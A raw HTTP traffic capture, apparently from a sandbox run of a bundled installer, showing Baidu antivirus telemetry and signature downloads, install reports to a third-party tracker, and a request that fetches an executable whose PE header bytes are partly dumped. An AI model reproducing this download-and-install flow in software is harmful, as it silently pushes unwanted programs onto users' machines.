GET /cgi-bin-py/report_mini_info.cgi?type=dl_xml_successful&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=4587&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=0&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:36 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream
report install ok....


GET /cgi-bin-py/report_mini_info.cgi?type=download_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=4587&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=0&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:36 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream

report install okHTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:03:36 GMT.
.Server: Apache..Content-Length: 17..Connection: Keep-Alive..Content-T
ype: application/octet-stream..report install ok....

GET /cgi-bin-py/report_mini_info.cgi?type=download_successful&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=1260555&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=20&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:56 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream
report install ok....


GET /cgi-bin-py/report_mini_info.cgi?type=full_install_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=1260555&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=20&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:56 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream

report install okHTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:03:56 GMT.
.Server: Apache..Content-Length: 17..Connection: Keep-Alive..Content-T
ype: application/octet-stream..report install ok....

GET /cgi-bin-py/report_mini_info.cgi?type=install_finish&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=1260555&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=20&firc=0&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:25 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream

report install okHTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:04:25 GMT.
.Server: Apache..Content-Length: 17..Connection: Keep-Alive..Content-T
ype: application/octet-stream..report install ok..

POST /queryfeature.do HTTP/1.0

Content-Length: 127

Host: f.eg.bav.baidu.com

e=

 mj.Q...44....9f.:..r?...<0x=...>u-.1.._.Y...<.....$..g....f.x..=....)H>^....(..x.$.}GQ.YYE.....1a....\9...........?z..d.c)
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w..D^.<p....:CL!q~.SC..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 171

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..Y..

W.S.....O.x8/..9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Y0&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 98

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 132

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

.....5.4.3.147185 .(v2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USZ.Imali|br|IBD|Bundlex....(..y.(%.O.....{..YB..K*..k...
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /md5_check.cgi HTTP/1.0

Content-Length: 123

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.ke...u.....x............D.h ._..f8e.....$.^.i..6uh
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
.............l...i..A>.4;7OU.n..5.e......... ...

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 205

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(T2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..v..

t.T.....l...@....#VR,.Y.%...Y..Y.....W..1C\.p..6\#.#..dl;..,.S.C.&...@q.b.3)i...o*.=..\jm.#2..C.>...d..{..v..K.....r

y5a
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /queryfeature.do HTTP/1.0

Content-Length: 136

Host: f.eg.bav.baidu.com

e=

.5...=.S.h..$..........F...@u..n...;..(`...>...%..'.x|?.P........m-....[U'i...*..j..%.......6.a.OMa.lk`.}.!$..2W.:)..P ...=....^2..
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H.....^.........$"......

POST /queryfeature.do HTTP/1.0

Content-Length: 179

Host: f.eg.bav.baidu.com

e=

..4...0..K.....?Kc..x....1@...y<.,[0...m.........L.&..Q...[.-.........N)A...1.o....=.]X...c).,.7.
bq...J....N~._{...:..m....II.M.c.f ...l...(K:..@2..@.U..;4.....v.n... "...g.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4.........{.i......t....j..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.a.. 4..*_L.-.m....m9.B..9XVS.z...w.s....$...LF...l.j....W.*....I\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2....*.l).Tv,T(.. |.....#.*..q....Yo.l..

POST /queryfeature.do HTTP/1.0

Content-Length: 130

Host: f.eg.bav.baidu.com

e=

4.6g[...;f.n.^}e...n9&m..Dj

 3..G.{...#..8.......s.<..;.#eH....?....5#...l.p.K..
S...k4.........H....C......!b;.z.\D3W.r'....
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w.,,~..?.P....../~.SC..

POST /md5_check.cgi HTTP/1.0

Content-Length: 123

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.ke.i.q.....|....r.......4.j(.Q..`>f.....$.V.o..6uh
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

....................08.CODN,..}.4.m......... ...

GET /cloud-hips-down.cgi/static/bhf.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com

Range: bytes=0-2053


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Nov 2015 07:04:10 GMT

Content-Type: application/octet-stream

Content-Length: 2054

Last-Modified: Thu, 16 Apr 2015 09:58:03 GMT

Connection: Close

ETag: "552f87ab-806"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/bhf.dat

Content-Range: bytes 0-2053/2054
J.%..2T`t|..x.v.KI.y|9=.s#... ..)...r../. .O.@..'C)....9.Q..n..]L.!...
A_..u.*[wH..`..r._.U.\.(!O.K.K.8.I ._....k..;...2....#).\.`L.i%..l..c.
[9.....;..&u...i. ....`.....K..t.J.r....N.U#;...)..=a."W..C...x.....V.
..{A........q...[..YJ...D."!.K...{vW.........VZM...N@.u^..ST....h.j..`
nh~..iDB.s ....".x.}.... y..P|......).... s...S.?,.$.Z..P..P"..L.". ..
....0...\p.".Dwnq..q...=.....u.Hb.I...5..... ....c..Mo.....B..6.U2I^M.
 &Ct@....S.'.H<..qA..w.0@...Y........HI.7bL.p.g.#.L..|I.k...F..B...
I....H..DF.1C.a....tMg..uB..*..@Ps....A>6lG....mB. t..z.J.>.jH.0
.(.n..."..~....%.Z...|.V...`........0l..I...d.....9.......B..!....>
.FJ. ....^(._.s.V..`O....."\..J =.c.R(x..X...W...u.=......."d.=....I6.
.c......S4hc.a..kD..8..M........9....p...$....4....\...LO5[.b....sVGd.
_.nd..=Y..z:.o.Kr.XJH..|..J:...!....V?.......&.OI..........jA.|..^ [..
.q4o...d5.0g.@(........77.e#.Ok..<.0.3ab...x..w..vJ..!..r..f.@...X.
...[.lB..@.A|.D.C6....=.#..<.v4...h.g..(.6Z.L.g...@o...z_..7;4.-...
..y9.!...Dgn.Q.I./ ..?g.Os.3_.B..HG ..OR............nI..;...N*....%...
2p..q..,.....w...B..........\b.7..>.S...|.. ....b....`fw.L..K.. .T%
w.$..A.......~...G..e..dUE...LysW..7.%......C...c..G..p..9l,......Q'cW
...x1...J%ntb..}z...Z.%....Sl]h..7...yT..B..i!... .......I_.N;.._..O..
..I..b1J.@C...n......8....$..U.....X...v...6.Q.._.G....(#.S -k... W.#`
...s......&...,.|.c.*...p....u.a..Z( .b....4...e.d].l.^.v.S.)A..4.$...
5k...J..........M._.Ta....Ne......L_^I....4Z.@.O.m..".q.eK..xR........
....=.ww...D.[$f..w`.....vQ.....z9.....z.....FV.D..!..C0#l.^......<<< skipped >>>

POST /queryfeature.do HTTP/1.0

Content-Length: 133

Host: f.eg.bav.baidu.com

e=

....U..v...k...h. "........M.M..J.R8..>..0?..7k......v...2........C....).......Z"...P.67(.>..=./.q.U.e.I.e.z9C9.'....n.;7.\c>...
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H.k}.R6Z...=.R."........

POST /md5_check.cgi HTTP/1.0

Content-Length: 126

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0O.....|............F..P. ...;e.`...}..i...77..6...TJ..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.............k......29.AABO)v.z.5.b.i..r.... ...

POST /tdownload1.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: VVV.downloadjelly.com

Content-Length: 106

Connection: Keep-Alive

version=1.1.2.41&s1=68d4a4ac1e938d8f6168f88022c2d75d696a67c1&t1=1448348790&campid=9664&prefix=amisetup9587
HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Access-Control-Expose-Headers: X-Target-FN

Content-Disposition: attachment; filename="amisetup9587__9664.exe"

Content-Type: application/x-msdownload

Date: Tue, 24 Nov 2015 07:03:30 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

X-Target-FN: amisetup9587__9664.exe

Content-Length: 1170944

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........r.........
....=.......=.......=................................8.......8........
.......8......Rich............PE..L...b.TV.....................F......
|B............@..........................@............@...............
................... ..(....p..........................................
........................@...............@............................t
ext............................... ..`.rdata..@w.......x..............
....@..@.data....2...0......................@....rsrc........p......."
..............@..@.reloc...$.......&..................@..B............
......................................................................
......................................................................
......................................................................
......................................................................
............................................U...E..M... .....@].U...E.
.0.E..0...............$.....&....Y..Y@].U...E....E.;.....].U...E..0.E.
.0.s&..YY3......].U...E.SS[....tCV.u.W.}.P...........{..E.j.2......;.E
.2....7G.[...QYYY..u...7_..^..3.[]...U...E.S....tIV.u.W.}.P...........
{..E.j.f3.P....;.E.f3.Pf..~G.....QYYQYY..u.f..~_..^..3.S[[]...U..QQ3..
M..U.9U.......SS[V.u.W....u..0.......$..4$..$........w.V.......$..4$..
$f....V...^....M....E.W....1V.....V..>................$....W....u..
..u..a....u..}..u....Q.....0...u..G..u.SS[j.V...............$....r

<<< skipped >>>

POST /cgi-bin/report_uu_msg_bavv2.cgi HTTP/1.1

Accept: */*

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: 5.4.3.147185

Host: sync.bav.baidu.com

Content-Length: 1377

Connection: Keep-Alive

Pragma: no-cache

...\WwAyADAAMQA1AC0AMQAxAC0AMgA0ACAAMAA5ADoAMAA0ADoAMQAzAF0AIABpAGQAPQA2ADEAOAAwADcAYwA0AGIAYQBmAGMAMgA2AGIAYgAyAGUAZAA5ADgAZQAzAGUANgAwAGYANQA4ADcAYwBkADYAfAB8AHwAbwBsAGQAXwBpAGQAPQAwADAAMAAwADAAMAAwADAALQAwADAAMABDADIAOQAwADIAQwBEAEYAQgAhADgAMAAzADYAMgA5ADkANwAtAGIANgAzADYALQA0ADkAMgBkAC0AOAA0ADAAYgAtAGQANgBkADgAYQA4ADAAZgAwADEAYgA2AEAAIwAwADAAMABDADIAOQAwADIAQwBEAEYAQgB8AHwAfAB2AGUAcgA9ADUALgA0AC4AMwAuADEANAA3ADEAOAA1AHwAfAB8AG8AcwA9AHcAaQBuACAANQAuADEALgAyADYAMAAwAHwAfAB8AHAAYQByAHQAbgBlAHIAXwBpAGQAPQBJAG0AYQBsAGkAfABiAHIAfABJAEIARAB8AEIAdQBuAGQAbABlAHwAfAB8AGEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlAD0AeAA4ADYAfAB8AHwAbgB1AG0AYgBlAHIAbwBmAHAAcgBvAGMAZQBzAHMAbwByAHMAPQAxAHwAfAB8AHAAcgBvAGMAZQBzAHMAbwByAG4AYQBtAGUAcwB0AHIAaQBuAGcAPQBJAG4AdABlAGwAKABSACkAIABDAG8AcgBlACgAVABNACkAIABpADcALQA0ADcANwAwACAAQwBQAFUAIABAACAAMwAuADQAMABHAEgAegB8AHwAfABkAGUAZgBfAGIAcgBvAHcAcwBlAHIAPQBpAGUAeABwAGwAbwByAGUALgBlAHgAZQB8AHwAfAB1AHMAZQByAF8AdAB5AHAAZQA9ADEAfAB8AHwAcwBlAHIAdgBpAGMAZQBfAHMAdABhAHQAdQBzAD0ANAB8AHwAfAByAGEAbQA9ADUAMQAxAHwAfAB8AGwAYQBuAGcAdQBhAGcAZQA9ADEAMAAzADMAfAB8AHwAbABhAG4AZwBpAGQAPQAxADAAMwAzAHwAfAB8AHIAZQBwAG8AcgB0AF8AZgByAG8AbQA9AEIAYQB2AFMAdgBjAC4AZQB4AGUAfAB8AHwAUAAwAD0AMAB8AHwAfABQADEAPQAwAHwAfAB8AGYAcgA9AEcAbABRAFMANwAxAEEANQBSAC8AUgA5ADMAUgBkAFQATgBRAHAAZAArAFQ
HTTP/1.1 200 OK

Content-Length: 7

Content-Type: text/html;charset=utf-8

Connection: Keep-Alive

successHTTP/1.1 200 OK..Content-Length: 7..Content-Type: text/html;cha
rset=utf-8..Connection: Keep-Alive..success..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 176

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..Y..

W.S.....O.x8...9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........X.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /md5_check.cgi HTTP/1.0

Content-Length: 124

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0....=c....V..'.@K.G#%.;.Ky..-.....k_
.B..c...<.n.U.f
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$.(.5..j.Q.Tt/*v%0....|...b....M.U..#...

GET /dealdo/install-report?type=install&ver=1.0.2.0&instgrp=20151124__1.0.2.0__lnk_auto_1218_1&partner=pcdealb&channel=pcdealbnew&funnel=ed1868c9-2186-470a-b0b1-1beb1b77697b&cb=296875&slug=insthelper&defaultBrowser=0&ieVer=362e302e323930302e35353132&firefoxVer=&chromeVer=&operaVer=&winVer=352e31&hid=v4C28B7D95-2978-BD4C-036F-0CC89C089D&ieproc=0&ffproc=0&chproc=0 HTTP/1.1

User-Agent: WinHTTP/1.0

Host: ins.midnightjs.net

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Tue, 24 Nov 2015 07:03:35 GMT

Last-Modified: Sun, 26 Aug 2012 12:59:41 GMT

Server: nginx/1.2.1

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Tue, 24 Nov 2015 07:03:35 GMT..Last-Modified: Sun, 26 Aug 2012 12:59
:41 GMT..Server: nginx/1.2.1..Content-Length: 1..Connection: keep-aliv
e.....

HEAD /cloud-hips-down.cgi/static/rl.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:08 GMT

Content-Type: application/octet-stream

Content-Length: 2465

Last-Modified: Thu, 16 Apr 2015 09:58:03 GMT

Connection: Close

ETag: "552f87ab-9a1"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/rl.dat

Accept-Ranges: bytes

POST /md5_check.cgi HTTP/1.0

Content-Length: 141

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.Q...X...\...]e.l.L.q.....djy.8.....
.kH.}.o).}..}J..ff.FR....v.....$
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.........".......qK....T.7....s.............HW..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 176

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..Y..

W.S.....O.{8/..9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Z.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /cloud-hips-down.cgi/static/apcf.dat HTTP/1.1

Host: f.eg.bav.baidu.com

Accept: */*


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:10 GMT

Content-Type: application/octet-stream

Content-Length: 1164

Last-Modified: Tue, 23 Jun 2015 06:40:01 GMT

Connection: Keep-Alive

ETag: "5588ff41-48c"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/apcf.dat

Accept-Ranges: bytes
J.<.J.GN..q...........(%C*..*AA..e...p.......|p..w.O...nHM...9..[.9
.C.....?._.6:3.....l...x...{.....J...i"\....0LG.(buF.&..#;._.;."f....s
O-TD..P...;y.:..E._...G.~.GI....}d.....~.. .#...%s.D...,..wU.. ..z....
.Qf..fA.L&......W.z.....1v..f.390...n._gf.U..U......4..."..bs...)....b
_x...H)I.=.`X..*....?._a)>..3{3...T.'o........b#..I.....w_.......[.
G..M.....k..p..V..m*9.=x.hD.....Z.*...c..N.^....]`*..!.....C..P.......
&...mbn..^.<.._....%@.9......s$.AtY.<6.iC..rJ.5...*rW.8.*...K.q.
.g;f......k...1.$|x.....LmJ...J.R.H.9...[.9.O..:.q..L..<...n...C...
...FE...n.........V.N.......[...^..>..]...'...6y..:._...X.;..e..2..
.7.....U..7O.....~s%.\,....Z..)...E...S...1..............MeN.o.....E..
%..H1'.P.=...i..?.?....:-.F.Q...4....?5g.......n).\s|l..z.o(..N..nZ.w.
..#.7..../.}...H.N.)^..jY>...C.#p..0...*..G&.y.......;W.....Tr..ta.
_.U..v.#..r.Z......O........zE....f..Lj...,LF.....iP....k0....G.#..xA9
.d.c.oi..>!.8..4Un0. ..........[.m..2.z...x.h.kp..V...gL......i"[..
pD..%.ORj.)W.6M..[...v.....4.....m..Z.(.......v.W..1g.....FP..2.J..d~S
.......~.4.QD.JO/.....`.N.....D.N.6.....N.p.N.....D.N...N...N.3...D.N.
..N...N.....D.N.W.d...N...N.8y/.......N.......N...N.......N...%.6.....

POST /md5_check.cgi HTTP/1.0

Content-Length: 121

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0...|.n[.d}q.....}............1..W.-....^.A...k..!
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

....................58.4O0LX....@.b....p.... ...

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.2.G!..oz.;}J%.~p.{!.&.o

.).."I9[.....)..s0...bg_...F.A0L.%|.~....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..]...p.b.Do..w.Z.........].YT..1...

POST /queryfeature.do HTTP/1.0

Content-Length: 130

Host: f.eg.bav.baidu.com

e=

4.6g[...;f.n.^}e...n9&m..Dj

 3..G.{...#..8.......s.<..;.#eH....?....5#...l.p.K..
S...k4.........H....C......!b;.z.\D3W.r'....
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w.,,~..?.P....../~.SC..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.t*..;.1gi.......etW......E. ..! ......e..a&..'...u>O..>.YN...m..=....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

......Q..8.......S.mj.-Mu`1."...../.K...k?N=..

GET /bav_featurelib/md5/2113411594/md5ConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:27 GMT

Content-Type: text/plain

Content-Length: 482

Connection: keep-alive

ETag: "6f180dc-1e2-51e30d1392540"

Last-Modified: Wed, 26 Aug 2015 06:18:21 GMT

Age: 517886

Accept-Ranges: bytes

Ohc-Content-Crc: 2605402379

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.0.B.F.D.3.6.2.8.A.5.3.F.A.4.6.2.B.6.
F.6.D.1.E.D.0.4.4.C.C.6.6.B.....C.o.n.f.i.g.D.i.r.=.....S.i.g.n.T.y.p.
e.=.1.....S.i.g.n.C.o.u.n.t.=.2.....V.e.r.s.i.o.n.=.2.1.1.3.4.1.1.5.9.
4.....D.i.r.e.c.t.o.r.y.=.....F.i.l.e.N.a.m.e.0.=.M.e.r.g.e.H.i.s.t.o.
r.y.L.i.s.t...i.n.i.....F.i.l.e.S.i.z.e.0.=.2.0.8.8.0.....F.i.l.e.C.r.
c.0.=.6.4.6.7.3.1.7.6.9.....F.i.l.e.N.a.m.e.1.=.s.c...i.n.i.....F.i.l.
e.S.i.z.e.1.=.6.2.8.....F.i.l.e.C.r.c.1.=.2.2.5.4.2.3.2.2.1.7..
...

GET /bav_featurelib/md5/2113411594/sc.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:27 GMT

Content-Type: text/plain

Content-Length: 279

Connection: keep-alive

ETag: "6f180e1-117-51e30d1392540"

Last-Modified: Wed, 26 Aug 2015 06:18:21 GMT

Age: 517793

Accept-Ranges: bytes

Ohc-Content-Crc: 2354920229

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

7z..'...............N............-..WK.............b......./8..}....n#
;..1....U..?......QC....5..aC.......'....1.%z......"....g.-.9^-.K..N#R
.....q......w...>.AC.w.@..^.<.u..I9..R..G.Y4...G..-..m}..o......
...........#....]......t......\........s.c...i.n.i..........x........ 
.........

GET /bav_featurelib/md5/2113411594/MergeHistoryList.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:27 GMT

Content-Type: text/plain

Content-Length: 2178

Connection: keep-alive

ETag: "6f180df-882-51e30d1392540"

Last-Modified: Wed, 26 Aug 2015 06:18:21 GMT

Age: 517592

Accept-Ranges: bytes

Ohc-Content-Crc: 4285395503

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'....D..........k........w............ ......t.q....e...9G.Z.b....
.FQ...m.....U...|.....TO...iJ6.j...%..#..).....D..~=..:50..R~..[......
....Ao.........s/~-.N.s..........d.`2..)........sOE.{.U.?..*aHY.92.}..
..8A`PH..A..h...].I.....6..oj.K....P"....o...;.._...m5Eq8....}.|.HZ.dw
o=x...w}.g.....V.d.......7.........I.1~...O&.............,J..3.......9
..,....."..........h7..%.;....sT..CJy..WV...}.8..8....eg.......g.u.p)E
.I...C$.Q.m..A..]kpc$.R.4...>....3.(p....E.......j.!.Z.......r1....
e&..O....!.......m..._{..!M.&...nm...P..ML......&..k'.............R.|.
.fb........x......D.%......W..uJ...F.y..j...#....*...&....h..P....s.w.
qW.xB..g..rt]..\.;.....V.K[/.?(......)F.....j.........L.@v.7:..-..W.9.
..v&*.QI.......Y...A...*...U...Jw....p.J..z..c|..........c<r/N.y...
..R...3.1.S...f..[w..YHE......F...7...)........<..|.......%... ....
#...=4!.M...A....~..L..n..a..q.5.h."f.D=.Ks.I...x"....]$.Hq...X......E
.e..IB.....dv.............P*V.1AuT.A-.Qko.?R..._...-Z.Fo........q&..\.
.Y..my.?$T.-...oV..R..t.k1.(...@{DH.v..L.Er...U.0.....R.<.{.K;....h
@W......S.I.e&.X\`.1iD:p..G*V...ow..U...\..3.4.^.>........*x{....^V
k"_.'"..>.y./....Rs.o..23)Y2D..(=y.3u......;.J...."..R.VV6..`..iKq.
w&.}.......KS...u..qT.*.(.V.....3;_.k...i.q...Y.M^.....[J:7.A./%&..Z&.
.:.J...l.5.......f.?kc...?W..........@7{.....Q)..Y.....]..v...My.].?]|
e...?I;. $@.^u......i.x%i.3;..c.[.....r.%....X8.....5;w.6Q.&..h...6.cL
....].[}..2I....=g.~...<q#.J.....4..E7..DQ.H._\u.%8-......6.......J
.........#$..O......6lj...|...S6..ZN. ........O...Y.u.:<..xti..<<< skipped >>>

GET /bav_featurelib/micro/2113411594/microConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:28 GMT

Content-Type: text/plain

Content-Length: 494

Connection: keep-alive

ETag: "6f160ab-1ee-51e30b2a56300"

Last-Modified: Wed, 26 Aug 2015 06:09:48 GMT

Age: 517801

Accept-Ranges: bytes

Ohc-Content-Crc: 1020016167

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

